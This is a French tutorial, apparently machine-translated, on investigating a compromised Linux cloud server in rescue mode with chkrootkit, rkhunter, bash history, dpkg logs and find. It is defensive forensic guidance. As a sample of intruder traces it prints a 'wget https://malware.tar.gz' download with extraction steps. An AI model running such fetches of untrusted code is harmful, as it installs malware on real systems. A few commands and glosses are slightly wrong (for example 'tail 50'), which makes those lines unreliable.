GNU/Linux >> Tutoriels Linux >  >> Linux

Rechercher un compromis de sécurité :enquête en mode de secours

Dans l'article Rechercher un compromis de sécurité :portes dérobées et intrus, vous avez appris quelques techniques de base pour collecter les informations nécessaires pour identifier les intrus qui ont compromis votre serveur. Cet article explique comment utiliser le mode de secours du panneau de configuration du cloud. pour examiner de plus près votre système. Vous pouvez utiliser le mode de secours pour mieux comprendre comment votre serveur a été compromis et pour identifier les fichiers non compromis avant de sauvegarder les données.

Activer le mode de secours

Étant donné que le système d'exploitation de votre serveur cloud peut également être compromis, vous ne pouvez pas vous y fier. L'intrus pourrait avoir compromis des binaires tels que "ls", "find" et "netstat", de sorte que leur sortie pourrait vous induire en erreur. Par conséquent, vous devez utiliser un environnement de système d'exploitation différent pour enquêter en toute sécurité sur la compromission.

Vous pouvez le faire en utilisant la fonction de mode de secours fournie dans le Panneau de configuration Cloud. Pour obtenir des instructions et plus d'informations, consultez Mode de secours.

Pendant que votre serveur est en mode de secours, vous pouvez effectuer les actions suivantes pour localiser la source du compromis.

Rechercher les rootkits

Nous vous recommandons d'installer et d'utiliser les outils suivants pour analyser votre système à la recherche de rootkits.

Rechercher les rootkits avec chkrootkit

chkrootkit recherche les signatures connues dans les systèmes binaires compromis. Par exemple, certaines versions compromises de ps avoir "/dev/ptyp » à l'intérieur d'eux. Nous vous recommandons d'installer chkrootkit en utilisant votre gestionnaire de paquets plutôt qu'en compilant à partir des sources. Pour plus d'options et d'informations sur l'utilisation de chkrootkit, voir http://www.chkrootkit.org/README.

  1. Pour l'installer, exécutez la commande suivante :

     apt-get install chkrootkit
    
  2. Exécutez chkrootkit contre le système de fichiers monté du Serveur Cloud :

     chkrootkit -r /mnt/demo
    

Les messages suivants sont imprimés par chkrootkit lors de ses tests :

  • INFECTED - le test a identifié une commande probablement modifiée par un rootkit connu

  • not infected - le test n'a trouvé aucune signature de rootkit connue

  • not tested - le test n'a pas été effectué

    Cela peut se produire dans les situations suivantes :

    • Le test est spécifique au système d'exploitation
    • Le test dépend d'un programme externe qui n'est pas disponible
    • Certaines options de ligne de commande spécifiques sont fournies (par exemple, -r )
  • not found - la commande à tester est introuvable

  • Vulnerable but disabled - la commande est infectée

Pour plus d'options et d'informations sur l'utilisation de chkrootkit , voir https://www.chkrootkit.org/README.

Rechercher les rootkits avec rkhunter

Chasseur de rootkits (rkhunter ) vérifie les systèmes par rapport à une base de données de rootkits connus. Il peut également vérifier d'autres fichiers système pour s'assurer qu'ils sont conformes aux propriétés et aux valeurs attendues.

  1. Connectez-vous à votre application de terminal et passez à vos sources répertoire :

     cd ~/sources
    
  2. Téléchargez la dernière version de rkhunter depuis la zone de téléchargement de SourceForge :

     https://sourceforge.net/projects/rkhunter/files/
    
  3. Après avoir installé rkhunter , exécutez-le sur /mnt/demo .

     rkhunter -c -r /mnt/demo
    

rkhunter produit des avertissements pendant les tests qui indiquent où un fichier a dévié des valeurs par défaut attendues. Après le test, vous pouvez consulter le journal pour obtenir des informations plus détaillées sur les fichiers à l'origine de l'avertissement. Pour plus d'options et d'informations sur l'utilisation de rkhunter , voir https://rkhunter.cvs.sourceforge.net/viewvc/rkhunter/rkhunter/files/README.

Vérifier les dernières commandes

Pour avoir une idée de la manière dont la sécurité du serveur cloud a été compromise, vérifiez quels utilisateurs ont exécuté des commandes avant que le serveur cloud ne soit compromis.

Le .bashhistory contient les dernières commandes utilisées avec le shell Bash. Vous devez vérifier le .bashhistory fichiers dans le répertoire personnel de chaque utilisateur. Le plus important .bashhistory le fichier est celui appartenant à la racine :/root/.bashhistory .

Un Serveur Cloud compromis peut avoir des entrées comme celles-ci :

wget https://malware.tar.gz
gunzip malware.tar.gz
tar xf malware.tar

Vérifier les packages installés

Toutes les modifications apportées au système de conditionnement sont stockées dans /var/log/dpkg.log distributions basées sur Debian. Vérifiez ce fichier pour toute activité suspecte comme des packages installés ou supprimés, ou un bus modifié.

Exécutez la commande suivante pour afficher les 50 dernières lignes de dpkg.log fichier :

tail 50 /mnt/demo/var/log/dpkg.log

Utiliser la commande de recherche

Le find La commande est généralement utilisée pour rechercher des noms de fichiers avec des modèles spécifiques. Cependant, vous pouvez également l'utiliser pour rechercher les fichiers qui ont été modifiés ou consultés au cours d'une période spécifique.

Par exemple, vous pouvez trouver tous les fichiers dans /etc appartenant à root qui ont été modifiés au cours des deux derniers jours, comme suit :

find /mnt/demo/etc -user root -mtime -2

Les options disponibles sont les suivantes :

-atime: when the file was last accessed
-ctime: when the file's permissions were last changed
-mtime: when the file's data was last modified

Notez le signe moins devant « 2 » dans l'exemple précédent. Les options 'time' pour find commande sont exprimées par incréments de 24 heures, et le symbole utilisé devant le nombre peut indiquer inférieur à ou supérieur à .Ainsi '-2' signifie que vous voulez trouver les fichiers qui ont été modifiés au cours des deux derniers jours. Si vous voulez trouver des fichiers qui ont été modifiés il y a plus de 2 jours, utilisez +2 :

find /mnt/demo/etc -user root -mtime +2

Il existe également des versions de atime , ctime , et mtime arguments qui mesurent le temps en minutes :

-amin: when (in minutes) the file was last accessed
-cmin: when (in minutes) the file's permissions were last changed
-mmin: when (in minutes) the file's data was last modified

Exemple

Trouvez tous les fichiers de votre serveur cloud appartenant à la demo utilisateur auquel on a accédé au cours des cinq dernières minutes :

find /mnt/demo -user demo -amin -5

La liste suivante de find les options de commande peuvent être utiles lors de l'enquête sur l'investigation du serveur cloud compromis :

-nouser: shows output not associated with an existing userid
-nogroup: shows output not associated with an existing groupid
-links n: file has n links
-newer file: file was modified more recently than file
-perm mode: file has mode permissions

Vérifier les journaux et les fichiers suspects

Vous pouvez trouver un intrus en vérifiant les fichiers suspects dans /tmp ,/var/tmp , /dev/shm , /var/spool/samba , /var/spool/squid , et/var/spool/cron .

Vous pouvez également consulter les fichiers journaux dans /var/log annuaire. Par exemple,auth.log enregistre les informations de connexion de l'utilisateur, y compris les adresses IP.

Résumé

Dans Recherche d'un compromis de sécurité :portes dérobées et intrus, vous avez appris quelques techniques à utiliser pour découvrir les portes dérobées et suivre les intrus sur votre serveur cloud. Cela vous aidera à éviter la situation ou l'erreur qui a conduit au compromis, minimisant ainsi les risques de futurs compromis. Dans cet article, vous avez appris comment enquêter sur votre serveur cloud en mode de secours.

Qu'elle soit causée par des virus, la corruption de fichiers, une panne de machine ou d'autres incidents imprévus, la possibilité de perte de données est réelle. Pour éviter les perturbations qu'une telle perte peut causer, sauvegardez régulièrement vos fichiers. Voici quelques options pour vous aider à sécuriser vos fichiers :

  • Rackspace Cloud Backup est un bon choix pour les clients Cloud Servers. Il est entièrement intégré aux serveurs cloud et constitue une alternative de sauvegarde basée sur des fichiers à la sauvegarde complète du serveur d'images.
  • Pour ceux qui préfèrent le faire eux-mêmes, consultez Sauvegarder vos fichiers avec rsync.

Linux
  1. Distributions Linux populaires pour les tests de sécurité

  2. Désactiver le shell utilisateur pour des raisons de sécurité ?

  3. Vérifier le processus si le même est en cours d'exécution ?

  4. Comment vérifier openCV sur Ubuntu 9.10

  5. Vérifier l'existence de wget/curl

Comment vérifier (scanner) les ports ouverts sous Linux

Mode de sauvetage

Installer PostgreSQL sur un serveur Ubuntu pour les configurations de sécurité

Utilisation du mode amélioré Ubuntu 18.04 pour Hyper-V sous Windows 10

CentOS / RHEL 6 :Comment démarrer en mode secours

A quoi sert i915.modeset=1 ?